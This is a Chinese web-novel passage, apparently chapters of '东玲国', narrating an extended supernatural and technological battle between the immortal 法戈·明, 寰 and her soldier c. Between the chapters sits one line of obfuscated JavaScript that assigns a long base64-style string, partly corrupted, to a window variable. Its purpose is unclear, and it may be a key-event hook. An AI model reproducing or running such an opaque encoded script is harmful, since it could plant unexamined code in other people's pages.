突然间,一道耀眼的光芒出现在平原之上。这道光芒如同霹雳一般,惊吓到了平原上安静的生灵们。风在此刻突然开始呼啸,那些与花儿一同起舞的蝴蝶与蜜蜂,被风推开了。舞会只得以这种方式结束,蜜蜂与蝴蝶仓皇逃离,花儿们纷纷被吹断了枝头,繁花顷刻间全都落下。平原上的林子内的感染者们全被惊醒,它们先是愤怒,接着是惶恐,然后是恐惧。很快,它们全都神色慌张地逃离了密林。天色的突然变暗,朵朵阴云不安地在空中徘徊,它们也很慌张。太阳见了,吓得躲在了阴云后面。 几秒之后,光芒散去。光芒内的三人,安稳着陆。 法戈·明不安地环视了一圈,发觉周围的环境很是陌生。有些荒芜的平原、阴沉的天空、呼啸着的狂风,这些让法戈·明感觉到了一丝紧张,一滴汗从他的额头上留下。他思考了几秒,他觉得自己已经彻底离开了风岭区,被放逐到了无人区之中。他的表现在寰眼里都是再正常不过的;被流放者多是这种对新环境表示陌生的状态。她的脸上挂着一抹甜蜜微笑,其中多少带着些俏皮。她神态自若地看着法戈·明,她心中的喜悦与激动不显其言表。她眼神之中的激动与期待,难以用语言诉说清楚。 寰: “(微笑)法戈·明先生,怎么样?这里是不是很安静,很祥和呢?” 法戈·明: “(淡定)祥和......的确是祥和。” 寰: “如此祥和的环境,身处其中是一种享受。深感清风的抚慰,嗅得空气中的淡香;用眼去看,用心去想。品味自然,享受生活。这其中的任意一种,都是对心灵与肉体的关爱。” 天阴地沉,寒风凌啸,万木萧然,天光暗淡。压抑感横纵世间,世界被染成了灰色。 “我想要打败你。——不关个人恩怨,只关胜负与否。” 寰轻轻抬起左手,风裹挟着灰尘,轻轻地抚摸着付她洁白的肌肤。她的头发在风中轻轻地摆动,一抹鲜艳的金色从她发尖处开始向上蔓延,仿佛是一滴金色的墨水滴落在一张写满字的纸上一样。这抹金色肆意蔓延,将她的发梢的一小片染成了金色。看起来有种带有艺术性的结构感,黑色覆盖在了金色之上,层叠之巧妙,难以用语言所描绘。 法戈·明的眼中有光。他透过那层躯壳,看到了一团熊熊燃烧的烈焰。这烈焰是金色的,是不屈者才有的颜色,是帝王者才有的颜色。面前的年轻女子,虽没有帝王的风范,但从她的灵魂深处散发出了帝王的气息。那种好强、那种求荣感、那种来自野性深处的勇气,是帝王,是野心宽广的战士才拥有的!法戈·明握紧了手中的武器,如临大敌的感觉降临在他的心头。曾经独战八方的激情,随着寰的到来,都回来了。 当寰的手抬起到与肩同宽的时候,金色的雷霆涌动在她的指尖;片刻后,闪烁着金光的阵法,出现在她的手中。一层套一层的,阵法开始堆叠。此时,她礼服上的金饰上盖上了一层轻柔的金色丝缕,丝缕随风摇动,看着时而清晰,时而模糊;好似仙女的身上披着的金色琉璃。一阵清风徐徐吹来,许多片金叶随风而来。一阵回旋,这些金叶贴在了她的脸上。渐渐地,她的脸上出现了一个金色的面具。 面具的上端如王冠一般有着五个尖锐的冠锥,冠锥上有着葵百合花的花纹;中端镶嵌着一颗粉色的宝石,宝石被六颗“利齿”固定;左端和右端都有着漂亮的装饰,其中透露着高雅的气息;下端有着俏丽的金边,还有这似火一般的青叶花纹。 面具轻贴她的脸。小而精巧,仅仅盖住了她的上半张脸,只露出她的下半张脸。此刻的她,宛如一位德高望重的女王;站在万人之上,高傲地凝视着这世间的一切。一种让人忍不住心生敬畏的帝王气息迎面袭来。要是吸入一口,都得被这气息压得腰背弯曲,给她至上一个满满的敬礼。 她的嘴唇在轻轻发颤,她的嘴角轻轻地上扬,露出一抹清甜的微笑。她心中的激动已经难以掩盖;与强者的交锋,令她的每一滴血液都在沸腾。她做好了一切的准备,她的身心已经全部投入到了即将发生的战斗之中。全神贯注、专心致志,等待出手的最佳时刻。 她身旁的卫士激活了核心,汹涌的海色闪电涌动在他的手中。他握紧手中的剑柄,同时双臂交叉。他激活了手中的剑柄,让其变成了一对锋利的激光双刃。法戈·明将手中的武器分解为了无数碎块,接着将碎块汇聚成了一根铁棍。铁棍之上,明耀寒光。寰张开左手五指,接着狠狠地握死。阵法瞬间变大,周围的空间开始扭曲错位。寰看着法戈·明,露出了阴森的笑容。她刻意改变了自己的声音,用她最轻柔与温柔的声音,对法戈·明轻轻地说道: “嗯哼~无需多言......开战吧,法戈·明。” 话音刚落,一阵狂风呼啸着吹过,吹起了地上的几朵凋零的花骨朵。在风中,法戈·明汇聚力量于足部,接着微微前倾身体,一个健步冲了出去。寰见此,轻轻一笑,接着对身旁的士兵吩咐道: “c,上。” c没说什么,激活V协议,高速冲刺来到了法戈·明面前。电光火石之间,一道耀眼的闪光划过,c手中的刃挥出,法戈·明用铁棍招架。两人相互看了一眼,虽然c带着面具,但法戈·明依旧可以看出他面具后那双深邃的眼睛之中的敌意。随后,法戈·明一个上挑打向他,c快速后撤躲开了。法戈·明挥动手中的铁棍,一个横扫挥了过去,c一个侧闪躲开,紧接着冲向法戈·明,连续三刀挥出,法戈·明抓住铁棍一跃而起,用一个空中转体躲开了c的攻击。c见此,一跃而起来到法戈·明面前,三刀挥出。突然,青色的白龙阵法挡在了他的面前,替法戈·明抗下了这三刀。c见此,没有惊讶,没有犹豫一刻,直接对着这个阵法来了一刀。这一刀,没等触及阵法,就被法戈·明用铁棒转化成的大剑给挡了下来。没等c反应,法戈·明伸出手操纵阵法,用一道冲击波将c击飞了出去。接着,法戈·明汇聚能量于剑刃上,一个冲刺冲向了c。c见此,向后蹬地快速急停,接着下压身体,用超快的速度来到了法戈·明的面前。转瞬间,c对着法戈·明使用了x斩杀,斩杀释放的那一刻,雷霆在刀刃上喷涌。但这招,法戈·明一个上挑精确挡下。紧接着,法戈·明握紧剑柄,高举大剑一个下劈砍了出去,c后撤躲开。没等c的脚完全接触地面,法戈·明就一个横扫挥了过去,c以攻为守,一刀挥出,正面招架下了法戈·明的攻击。但法戈·明的进攻还远没有停止,他一个横扫挥出,c挥刀招架;接着他使用裂地猛击,一个下劈击碎地面,c挥刀招架,但没找架得住,被击飞出去七八米。法戈·明手中的大剑变成了两把锋利的匕首,他像扔飞刀一样扔出手中的匕首,然后将能量汇聚到双脚,快速疾步冲向了c。c快速挥刀弹开了这两把匕首,紧接着,这两把被弹飞的匕首,竟突然显现出灵性,一个回旋回到了法戈·明手中。接着,法戈·明对着c来了个落地擒杀,但c突然化作一道幻影,躲开了这一击,法戈·明的攻击打在了地面上。这时,许多个c的幻影出现在法戈·明的周围,他们手握利刃,对着法戈·明展开无死角攻击。法戈·明没有慌张,只是将手抬到胸前,做手贴手的动作。然后,他手中的匕首一把化作刀鞘,一把化作利刃。一阵清风徐来,吹起地面上的一片落叶。法戈·明快速将刀插进刀鞘,接着下压身体,侧过身子,心如止水般地拔出了刀。许多道闪光猛然出现,之后转瞬即逝。光退去后,c的分身全部切除了两半,同时藏在那一堆分身中的c身上出现了一抹血色,鲜血喷涌而出。此时,还能依稀楚见法戈·明在c的分身之间穿梭时的身影。尝到苦头,c立马调整状态,即刻激活w协议,接着转身对着法戈·明就是三次全力挥砍,三道冒着雷电的巨大剑气直飞向法戈·明。法戈·明将手中的刀与鞘变为一把修长的刺剑,灌入能量,接着一个转身三刀挥出,三道金色的剑气飞出。两波剑气抵消掉,产生的冲击震裂了周围的地面。突然,c一个冲刺来到法戈·明身前,对着他连续三次冲刺斩击,直接在法戈·明身上开了三道口子,顿时鲜血飞溅了出来。 三刀过后,c来到了法戈·明的身后,正要给予他致命一击,但猛然间,他发觉地面有些不对劲。若大的阵法已在不知不觉间出现在了法戈·明的脚下,而他现在正身处其中。他下意识收手,想要逃出这阵法,但此刻已为时晚。法戈·明对他低声说了句: “感受这阵法的威力吧,你还很年轻啊……” 一道耀眼的光芒出现,强大的能量在顷刻间释放出来。威力巨大,范围极大,一旁的寰不得不开启了能量护罩抵挡。c直接被击飞了出去,片刻后以俯身抓地的方式落地。他身上的伤口在此刻竟然奇迹般的愈合了,但他的精神与肉身受到了不同的损害。虽没留下伤疤,但c觉得自己变得有些虚弱。法戈·明没给他一刻的喘息机会,直接疾步来到他面前,将刺剑变为战矛,对着c连续三下突刺。c再次以攻为防,连续三刀招架住了法戈·明的攻击,随即后撤与法戈·明拉开距离。c突然意识到了什么,紧接着他化作一道幻影消失了。就在这时,无数金色的目从法戈·明的四面八方出现。法戈·明看了一圈,隐隐觉得这些目在凝视着自己。突然,法戈·明眼前一黑,绝大部分的视野变成了黑暗,唯有那些金色的目,依旧清晰可见。 “Un enfer vide(空寂的地狱)!” 猛然间,一个身影几乎是以瞬移的方式来到了他的身边,并对着他狠狠地来了一刀。这一刀让他感觉到了剧痛,他的身上开出了一道比之前还要大的口子。他痛苦地咬了咬牙,但同时,也让他确认了对方的身份。那个身影再次出现,还如上次那般好似瞬移一样地快,接着,这个身影又对他来了一刀。不过这次,他的攻击仿佛打在了一块钢铁上一样,丝毫没有伤到法戈·明分毫。接连着,他以这种方式快速地对法戈·明进行了一次又一次攻击。他如闪电一般快速疾驰,像锋刃一般在法戈·明周围反复切割,仿佛是在切割一块冻成冰块的牛肉。无数道淡蓝色的剑影悬浮在空中,与之伴随的是一条曲折复杂的淡蓝色线条,两者上都有着跃动之雷的影子;望着它们,还能看得出攻击者攻击时的潇洒姿态。在最后一刀挥出后,金目消失,无数道剑影在法戈·明身上回旋着出现,对法戈·明实施了致命的斩击。片刻后都化作碎片,像叶子般飘零散去。 他在法戈·明前方注视着法戈·明。令他不可思议的是,在他的那轮堪称必杀的攻击过后,法戈·明竟只是身上多了一道伤疤。见到攻击者后,法戈·明闭上眼睛笑了笑,就如他猜测的一样,刚刚的攻击只是c的绝杀技。接着,法戈·明轻声告诉c: “这招式着实不错。未曾见过,威力巨大,甚能险些要了我的命。若换做是常人,早已经是团碎末。” c没有说话,一个健步来到法戈·明面前。他手中激光刃变长了数倍,其上雷霆涌动,看着威力十足。就在这时,法戈·明举起右手,心平气和地对准c。接着露出一抹从容的微笑,随后缓缓说道: “这宇宙的万物都遵循着守恒的戒律。能量不会无端产生,也不会无端消失。” 此刻,c的双脚被他脚下突然出现阵法给牢牢固定住,同时无数树藤从阵法中伸出,牢牢地缠住了c的双脚。法戈·明的右手手心处出现了一个巨大的阵法,阵法的颜色是淡蓝色的,望着这颜色,c有些不安。 “因此,这世间才能有平衡,才能有正与邪。若想修成为真正的仙,就得在这平衡中找到不平衡,再从不平衡中找到平衡。唯有此举,才可成仙。若可在平衡与不平衡中找到临界点,就可领悟最终的仙术。——感受来自你的能量吧,我的对手。” 话音刚落,无数把幻影刃从阵法中释放出来。刚刚他对法戈·明的那些攻击在此刻全部倾泻在了他的身上,他避之不及,只得再度以攻为守,用挥刀的方式抵消这些幻影刃。在他心里,被自己的攻击所困扰是一种难以用语言所描述的感觉,总结下来就两个字:“憋屈”。在这轮攻击结束后,c遍体鳞伤,一种前所未有的挫败感涌上他的心头。但情绪并未左右他,他奋力挣扎,最后摆脱了阵法的控制。此刻,法戈·明拿着一把剑站在他的面前,他直视着c,他的眼神之中有着一丝对c的怜悯。见此,c心中的怒火一下子就被点燃了,而且是熊熊燃烧的那种。c将核心能量汇聚在全身,让雷霆贯彻于他的每一寸皮肤。接着他拿出一个装着绿色药物的注射器,随后将药物注射进自己体内。法戈·明只是看着,并未阻止他做这些。他很好奇,科技与修炼,究竟是谁强大。但他也并非只是看着,他顺便还用能量治好了身上的伤口。注射完成后,c的身上开始散发着淡蓝色的能量,这些能量好似一条霸气的披风,随着风在空中轻轻飘动。 “肾上腺素II型肉体强化剂注射完毕。” 这时,地面上突然出现了巨大的空间环,同时他的肩膀两侧也出现了空间环。法戈·明见此,将手中的剑转换成了一对爪牙,准备与他硬碰硬。法戈·明与他一同下压身体,摆出了即将进攻的架势。c的身上燃起了淡蓝之息,法戈·明的身上燃起了苍白之息。寰见此,默默地拿出了墨镜,戴上后静观其斗。 c: “Globe-trotter(环球旅行)!” 电光火石之间,两人如闪电一样同时起步,接着一道闪光出现,紧接着是一声刺耳的爆鸣声,两人交锋的位置竟发生了爆炸!周围的地面瞬间被震碎,一旁的草木感受到了这股冲击力,仿佛收到了惊吓,都俯倒在了一起。接下来,两人如闪电一般快速穿梭,对着彼此是一次次致命的攻击。光,闪烁着,每一次交锋便是一次闪烁。一次次的交锋,一次次的擦肩而过,两人始终为停歇。突然,空间环启动,两人瞬间迁移到了百里之外的沙漠。炽热的阳光照在金色的沙漠上,如海一般的天空中见不到半点云彩。气温在快速升高,水分在快速流失,沙漠上热浪滚滚。望着这烈日与无际的金色沙漠,感觉仿佛置身于上帝的蒸锅之中。 到了这里,两人的战斗仍在继续。此时,两人的战斗掀起了漫天的黄沙,两人在黄沙之间穿梭,这黄沙与高温丝毫没有影响倒两人的战斗。仅仅三秒之后,在两人的战斗场地之内,已经掀起了一座由回旋着的沙子组成的高塔。 空间环再次启动,两人来到了冰天雪地之中。天空中飘零着凛冽的雪花,地面上覆盖着一层厚厚的积雪,苍白色的天空上也覆盖着积雪。若不仔细看,还觉得天地已经颠倒了过来。要不是那苍白色的光透过云彩照在地面上,还真让人分不清是天是地。两人的战斗依旧在继续,他们丝毫没有留意身旁的景象,只顾得战斗。远处在雪地中蹒跚前进的砍柴人见到他们,直接愣在了原地。未见过大世面的他,很难理解面前的景象,只得低呼神的名字,仓皇逃走。空间环再次启动,两人来到了一座城市的未开发区之中。两人的战斗从地面上升到了楼层之间。他们如闪电一般在楼层间穿梭,在相互靠近之时对对方发动致命攻击。仅仅数十秒,两人就登上了一座荒楼的楼顶。 接下来,他们传送到了森林之中,吓得小动物们仓皇逃窜;又传送到了某个公司的内部,正好赶上开会,两人吓了那些正在开会的职员一大跳;接着传送到了戈壁滩下、古长城上、热带草原之上、海边的沙滩上...... 最后,两人传送回了最开始的地方。 此时,寰不知从何处拿来了一盒巧克力曲奇,面无表情地吃着曲奇,等待c和法戈·明回来。突然,周围的地面开始颤动,她稍稍瞪大了眼睛,接着赶忙将手中的饼干扔得远远的,然后晃晃头,重新摆出之前的那副姿态。一道闪光过后,法戈·明和c以背对背的方式回到了最开始的位置。法戈·明的身上有着七道不深的伤疤,伤疤还在流血,但他面无表情。c本就受损严重的身躯上有了更多的伤疤,这些伤疤也在流血,不过c的全身正在颤抖。虽然c戴着面具,但法戈·明依然可以看出他那副痛苦的表情。片刻之后,他以单膝跪地的方式倒下了,同时面具的下端不断再往下滴着鲜血。他身上的淡蓝之息早就消失的无影无踪,而在法戈·明的身上,苍白之息还尚存大半。面对面前的寰,c只是无奈地低语了一句: “抱歉,管理员大人......” 寰笑了一下,轻轻摇了摇头。她的表情瞬间变得严肃,接着对着c轻轻一挥手,c的脚下出现了空间环。c抬起头看着寰,透过面具,他能看到寰眼中的欢喜。一道闪光过后,c消失了。 寰笑了笑,她的眉目变得放松了些,明面上并未摆出即将战斗时的那种样子。见到寰如此,法戈·明是锐目相对。法戈·明一刻不敢松懈,因为他知道面前的寰远比刚刚的c要强。 寰: “我说......前辈,您未免表现得有些太收敛了吧。低调也是分场合的,在这里低调......是对我的不尊重哦。” 法戈·明: “(不耐烦)你的话可真是多啊。要打就赶紧的,我还得回去看店呢。” “好吧,既然你这么不耐烦......那就速战速决吧,让我看看你全部的实力。” 寰竖起两根手指,轻轻地对着法戈·明一划,顿时间空间被撕裂出了一道裂缝,法戈·明很警觉,连忙后退三步避开这道裂缝。法戈·明注视着这道裂缝,快速思考,分析着寰的攻击方式。突然,在这道裂缝之中出现了金色的光,几乎是在瞬间,这道光瞬间变大了数倍,接着,许多如镜片一般的裂片从裂缝中向外散开,就像是打碎了一面玻璃一样。此刻,仿佛时间凝固了一般,这些晶莹剔透的裂片静止在空中,光线透过这些裂片射向了四面八方。法戈·明只是看一眼,就能感受到这裂缝之中的温度;那是超越烈火的温度、那是能切割万物的温度!若正面接下这股能量,即是死亡。法戈·明深切意识到,再隐藏自己的真实实力,他就得付出生命的代价。于是,他决定不再隐藏,他要用当年全部的实力,去迎战面前的寰。 法戈·明激活了自己尘封已久的核心,让核心能量与自身的法力所融合。在两股截然不同的能量之间,他找到了平衡,能量如太极般在他体内运转。他将手中的爪牙变成了一对拳套。对于他来说,这是最原始的武器,也是最强力的武器。法戈·明深吸了一口气,接着深情地对寰说道: “你是个足够强大的对手,小姑娘。——那种感觉已经很久没有过了......我很久没有像现在这样觉得生命会受到威胁了。你唤醒了我体内沉睡的那个灵魂,让我重新找回了当年的自我。虽只有这次一样短暂,但已经足以。” 法戈·明的话寰认真听着。她并没有在这个立刻就能杀死法戈·明的时间点上发动攻击,因为她要的是场一对一的决斗,而非是针对个人的屠杀。同时,这也是她此行的一个目的。 “我曾经是名想你一样的求荣者。为此,我去神山修炼,直至成仙。我曾打败了上千名强者,其中甚至有魔神与帝君。从武术时代到现代社会,每个时代的强者都来找我进行过战斗。但没有一个人能让我像当年决战龙轩帝那样使出全力,他们都太弱了。” 法戈·明身上的现代服装渐渐分解为无数的碎布片向上飘起,化作他的黑色羽毛,随风飘走。在他这身现代服装内部,是身有着天宿宫众神餐宴图的白色束身剑客服。即便是过了几千年之久,这身最普通的剑客服还是当年的那般整洁与漂亮。 “冥渊的悲声,沉沦的海皇;蛇窟之暗穴,渡魔的邪王;神山的天亭,金雷之天龙;恒古之神君,浩荡之龙轩;这都是我曾战胜的对手!我曾来到世界的顶点与底谷,见到过流金似水与锦绣繁华,也见到过苦屋寡人和孤地荒村。我领悟到了世间的真谛!因此我可以突破所谓极限,达到千年仙龄之顶的上方。” 法戈·明抬起右手,对着寰展示自己的拳套。寰此刻像位学生一样,仔细地观察着这个拳套。此时,她仿佛置身于课堂之中。她面前的对手此刻成为了自己的老师,而自己则是他的学徒。 “我曾为了变强而寻找这世间最强的武器。为此,我寻遍世界。可是即使是神匠世家的工匠,也无法制造出最强大的兵器。刀、剑、矛、斧、锤.......这些我都用过,我都知道它们的缺陷到底在哪里。百年时间过去,我却在一个孩子口中得到了我想要的答案。” 法戈·明握紧了拳头,五彩斑斓的线条环绕在他的拳套上。强大的能量在此刻汇聚在他的双手上。同时,天色变得更加阴沉,狂风的呼啸更加猛烈了。看着法戈·明的拳套,她仿佛看到了宇宙的洪流。她忍不住抬起了自己的手,好好地看了看自己的手。 “这世上的最强兵器,无非是人类的手啊!” 寰听到法戈·明这么说,茫然地抬起了头。她领悟到了一些东西,一些她无法从书籍与信息网中找到的东西。 “无论是太古时期还是现代社会,人类唯一的武器与工具就是我们自己的手。原始人用它来收集食物、用它来打架、用它打开了人类历史的开始!一个火种,打开了历史的门!武士用它来去使用刀剑、弓箭手用它拉弓射箭、枪手用它瞄准射击、农夫用它播种、工匠用它铸造.......到了现在,每个人都在使用它!我们的历史、我们今天所创造的一切.......都是来源于这双普通的手啊!虽然这手看着普通,但其中可蕴含着寰宇啊!” 寰此刻恍然大悟,她明白了法戈·明所想要表达的意思。从心底,她不得不佩服法戈·明的个人觉悟。她终于理解为什么他是活过了五十一个世纪的仙人了。寰看向自己的手,她看到了许多东西。力量、权力、创造、毁灭、过去与未来,就如同飘渺星宇一般,静静地如浮云般漂浮在她的手掌上。似乎下一刻,她就能抓住这飘渺星宇,得到她想要的一切。 她抿了抿嘴唇,露出了心满意足的微笑。她用手轻轻地撩了下头发,然后放下手,用带着敌意与敬意的眼神看着法戈·明。她冲着法戈·明笑了笑,接着抬起手,万钧雷霆从地面上涌起。寰笑着问法戈·明: “明,做好准备了吗?” 法戈·明露出了坦然的微笑,回应道: “既然挑战者都做好了准备,那么我怎能不准备好呢?” 寰握紧拳头,她周围的空间如镜子一般破碎,许多金色的切割线出现在空间的破碎点。法戈·明将法力汇聚到自己的双拳与双脚上,五彩斑斓的辉光浮现在他的双拳之上。 寰: “(霸气)见识下当今时代的科技的力量吧!明。” 法戈·明: “(微笑)那便,请你见识下。我这五千多年的修为吧!” 这时,许多发着橙光小六边形出现在寰的周围。她手一挥,这些六边形绕着她转了半圈,然后在她的手心处组成了一条由六边形组成的高级阵法。法戈·明对着身后伸出手,一条如水晶一般晶莹剔透的白色丝带,随风徐徐飘来。他抓住这条丝带,披在身上。这丝带便是流光,但这流光与众不同;其上有着许多个发着白光的汉字。 寰: “激活,m、G、w、E、S、A协议。” 法戈·明: “激活,突变核心!” 接下来,将是场王牌对王牌的究极对决。喧嚣的风儿吹过大地,阴云悄悄散去,让阳光重新照在了这片土地上。这片贫瘠的草原上,一草一木都是象征生机的绿色,没有表现得出一点萎靡之意。它们努力地活着,不仅是为了自己,也为了能然这片贫瘠的土地,变得生机盎然起来。 ...... 此时,在城市之中的阴暗角落之中,一台死机了许久的计算机突然活了过来。计算机的屏幕上,显示出了一堆怪异的英文字母和汉字,接着开始出现乱码。乱码过后,计算机再次死机,不过这次,在计算机的屏幕上,有着一个大大的西格玛符号。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第十二话:大战 此刻,寰率先发动了攻击。她张开五指,将能量汇聚到指尖,接着对法戈·明释放了连环切割。切线层层重叠,好似在水面上掀起了波澜一样。这些切线快速袭向了法戈·明,法戈·明见此一个疾步躲开。寰握紧拳头,定点切割随即释放,三道金色的切线在瞬间来到了法戈·明面前。法戈·明的左手出现一面盾牌,他举起盾牌挡住了这三道切线的攻击。顿时间,地面上尘土扬起,形成了一片尘雾。突然,法戈·明将手中的盾牌向后扔出,接着将左手的拳套变成一把长矛,一个疾走,冲向了寰。寰竖起两根手指,对着法戈·明用力一划,一道切线突然出现在法戈·明的面前。法戈·明瞬间停下,横过长矛招架下切线的切割,接着将手一挥,将切线的攻击以剑气的方式还给了寰。寰不急不慢地张开五指,一面有着许多六边形的力场护盾出现在她的面前,替她挡下了这道剑气。只是一瞬间,周围的地面瞬间裂痕遍布,同时产生的冲击波扬起了一大批的尘雾。寰静静地站在尘雾之中,全神贯注地思考着接下来的招式。 此刻,被法戈·明扔出去的盾牌在空中一个回旋飞向了寰。这面盾牌变成许多碎片,然后重组为一把双刃大刀(对称长枪),以高速的旋转飞向了寰。寰的瞳孔之中出现了金色的小环,力场护盾即刻生成,直接将这把双刃大刀给弹了回去。这时,法戈·明一跃而起,对着寰就是一刺。这一刺,刺在了寰的力场护盾上。法戈·明松开一只手,将那只手放在柄头上,接着用力往下一压,力场护盾出现了很小的裂缝。寰注意到了这一点,她快速横着挥动手掌,连环切割再次释放,不过这次,比之前的要强上许多倍。为了躲避攻击,法戈·明收起长矛,将长矛变为盾牌,举起盾牌抵挡攻击,同时侧步疾走。连环切割将他击飞了出去,他的侧步疾走让他并未承受太高的伤害,同时让他飞的距离减少了许多。趁着这个机会,寰放下左手,用右手对准法戈·明,接着连环切割瞬间停下,转而变成了直线切割。无数金色的切线如烈火一般袭向了法戈·明,其速度极快,处在离地飞行状态的法戈·明与切线攻击的距离在不到三秒之间就缩短到了面对面的距离。法戈·明将手中的盾牌变做抓钩,然后甩出抓钩。抓钩勾到了地面,接着法戈·明用力一拉,抓钩快速收缩。就这样,法戈·明一把将自己拽到了切线的攻击范围之外。法戈·明在地上滚了三圈,然后用手抓地停了下来。双刃大刀这时回旋着回到了法戈·明手中,法戈·明将它和手中的盾牌重新变成拳套。此时此刻,法戈·明已经完全探清了寰的实力与攻击方式。刚刚他所做的一切,都只是在正式交战前理解对方的一切。正所谓,知己知彼百战不殆。 法戈·明冲着寰露出了一抹怪异的微笑,接着低声对她说道: “你的资质不错。貌美如花的外表配上你这资质,属实难得见到的珍奇。但也就到此为止了......” 法戈·明站起身来,握紧拳头,下压身体。顿时间,周围的地面开始剧烈的颤动,一种令人窒息的压迫感袭来。看着法戈·明,寰的额头上流下了一滴汗。永恒之魂的力量正在凝聚,尘封已久的力量已经释放。 法戈·明的眼睛变成了淡蓝色,他本来淡蓝色的头发变成了红色。他的背后出现了八颗旋转着的红色小光球,光球之上涌动着万钧雷霆。五彩斑斓的永恒之息从他的身上散发出来,如面仙人的既视感。法戈·明将能量汇聚在双脚之上,一个疾步冲向了寰。寰竖起两根手指,有些不安地快速挥动,顿时许多金色的切线伴随着空间的撕裂出现,靠近这切线,有种能将人吸入其中的引力。法戈·明的身影如闪电一般在这些切线之中穿梭,通过高超的身法与极快地速度时刻躲避着这些切线的攻击。突然间,法戈·明绕过所有的切线,直接来到了寰的面前。他握紧拳头,对着寰连续打出两记重拳。寰升起力场,挡下这两拳。寰伸出手,用力场冲击将法戈·明给击飞了出去。随即,寰五指合并,以手为刃,对着法戈·明连续挥出三刀。在法戈·明周围的空间瞬间破碎,那些碎片组成了一个巨大的“玻璃罩”。密密麻麻的切线出现在玻璃罩上,接着对法戈·明进行疯狂地切割。切线如雨点般袭来,在混乱之中呈现出了一幅抽象的画作。法戈·明用阵法防御,然后高举右手,在地面上生成了巨大的白莲阵法。 法戈·明: “白莲·净化!” 法戈·明用力拍击地面,强大的能量即刻释放。顷刻间,地面猛烈震动,无数的碎石被震飞到了空中,地面上出现了一个大坑,一道白色的光柱从大坑中出现。光柱直接弹飞了所有的攻击,并且让空间恢复到正常。无数金色的切线向四面八方射去,沿路的一切事物都被这切线给一分为二,就连天上的云彩也不例外。见此,寰打了个响指,召唤出四把幻影军械。这四把幻影军械后出现了一条光带,这些光带接到了寰的后背上。接着寰体内的能量开始为幻影军械供能。寰对幻影军械低声吩咐道: “G协议III型,超行星,开火!” 话音刚落,四把幻影军械即刻充能,接着对准了法戈·明。四个发着金光的准星落在了法戈·明身上,随后这些幻影军械对法戈·明进行猛烈开火。瞬间,无数道金色高能激光束如雨点一般袭向了法戈·明。法戈·明一个健步冲向一旁,然后绕着寰通过持续加速来躲避这些高能激光束。每道高能激光束在击中周围的石头后发生猛烈的爆炸,五彩斑斓的光会伴随着爆炸出现,同时周围的地面被炸出了巨大的坑;接着在爆炸边缘会出现空间撕裂,二十多道切线会对着爆炸中心进行切割。光芒过后,那块石头直接消失了,仿佛从未存在过一样。这些高能激光束都是擦着法戈·明身上流光的边打过去的,没有一发打中法戈·明,这些高能激光束都打在了一旁。法戈·明边跑,边汇聚法力。他的手中出现了两个凤凰阵法。幻影军械具有极高的移动打击能力,但面对法戈·明,它们的预瞄总是慢他一步。 在绕了有一圈半的时候,法戈·明已经汇聚好了能量。他瞬间停在了寰的背后,接着伸出双手对准寰。此刻,无数的苍白之焰汇聚在阵法中间,强大的能量仿佛随时就能释放出来。寰一个转身,以手为刃,对着法戈·明用力一挥,她与法戈面前的空间全部破碎,六条在碎片之中来回弹射的金色切线以超快的速度袭向了法戈·明;同时那四把幻影军械,也对法戈·明进行了猛烈的攻击。 法戈·明: “涅盘·神火焚天!” 顷刻间,苍白色的烈火奔涌而出。伴随着无数如破片般散开的火球,这烈火吞没了寰的所有的攻击。突然间,寰瞪大了眼睛,她发现自己的攻击经被这苍白之火完全吞噬。这不符合她的认知,她认为那些攻击本该穿过烈火的,而不是被烈火所吞噬。无数苍白色的火球率先靠近了寰,寰挥动手掌,用空间切割打掉了这些火球。接着是苍白色的烈焰靠近了寰,寰横着一挥手,升起力场,将万钧雷霆汇聚在力场护盾之上。她瞬间握紧拳头,力场冲击即刻释放,这烈火在力场冲击的作用力之下被撕碎成了无数的火苗。这时,法戈·明的手中出现了一把剑,他将这把剑插在地面上。接下来,从法戈·明脚下到寰的身后,一条长条形的光带从地面上出现。踩在这光带上,寰感觉到了这光带内正在快速汇聚的能量,她立即召唤出空间环,然后准备瞬移躲避。但在她瞬移之前,法戈·明的攻击已经准备完毕。他对着寰伸出手,白鹤阵法出现在他的手心之中。 法戈·明: “红丹·大地之力!” 他猛地握紧拳头,强大的能量瞬间从光带中释放出来。顷刻,伴随着一道白光出现,周围的地面瞬间崩解,无数的碎石被震飞到了空中;地面剧烈的颤动,就跟地震了一样。寰被这一击给击飞到了空中,这是她这辈子在战斗中第一次被打飞出去。寰身上的礼服与脸上戴着的面具的边缘出现了裂缝,她的鼻子内流出了几滴血。就在刚刚,她及时激活了A协议,生成了覆盖全身的能量护甲,同时升起力场,用这些抵消掉了大部分的伤害。在空中,她整个人都处于半无意识状态,她的眼睛突然失光。不到三秒,她在体内核心的帮助下恢复了意识。她激活空间环,让自己瞬移到了地面上。她仓促地喘着气,正从刚刚的晕眩之中恢复。 就在这时,法戈·明生成阵法与手掌之中,接后对准寰释放了一道淡红色的激光。未完全恢复的寰见此,本能地用瞬移躲开了这道激光。但随后,法戈·明快速挪动手掌,让激光改变了方向。寰本能地连续传送,但她传送到哪里,激光就往哪里偏。出于本能,她升起了力场,同时用背后的幻影军械对着法戈·明释放了激光。顿时间,一黄一红两道激光对在了一起,一场激光之间的较量开始了。寰的意识逐渐恢复,她逐渐加大功率,让金色的激光逐渐顶过红色的激光。就在这时,法戈·明的另一只手中心出现了法阵,接着他两手齐上,加大激光的功率,淡红色的激光瞬间变成了血红色。接下来,金色的激光立马被红色的激光反顶了回去。寰顶着晕眩感,持续加大功率,但在这法戈·明绝对强大的攻击面前,她显得力不从心。 寰心里: “好......好强。这与之前,完全判若两人。” 最后,她不得不升起力场来抵挡法戈·明的攻击。她此刻激活了V协议,想要通过加速来躲开攻击,但此刻这激光已经牢牢地锁定住她。即便她达到了超越汽车的速度,她也无法逃脱法戈·明的锁定。 她试着用S协议来瞬移,但是永恒之魂的力量禁用了她的S协议,并在她的脑中警告她不能这么做。她咬紧牙关,深感自己的能量逐渐在被消耗。渐渐地,她的力场出现了裂缝。若在这么消耗下去,她注定在激光中化成灰烬。 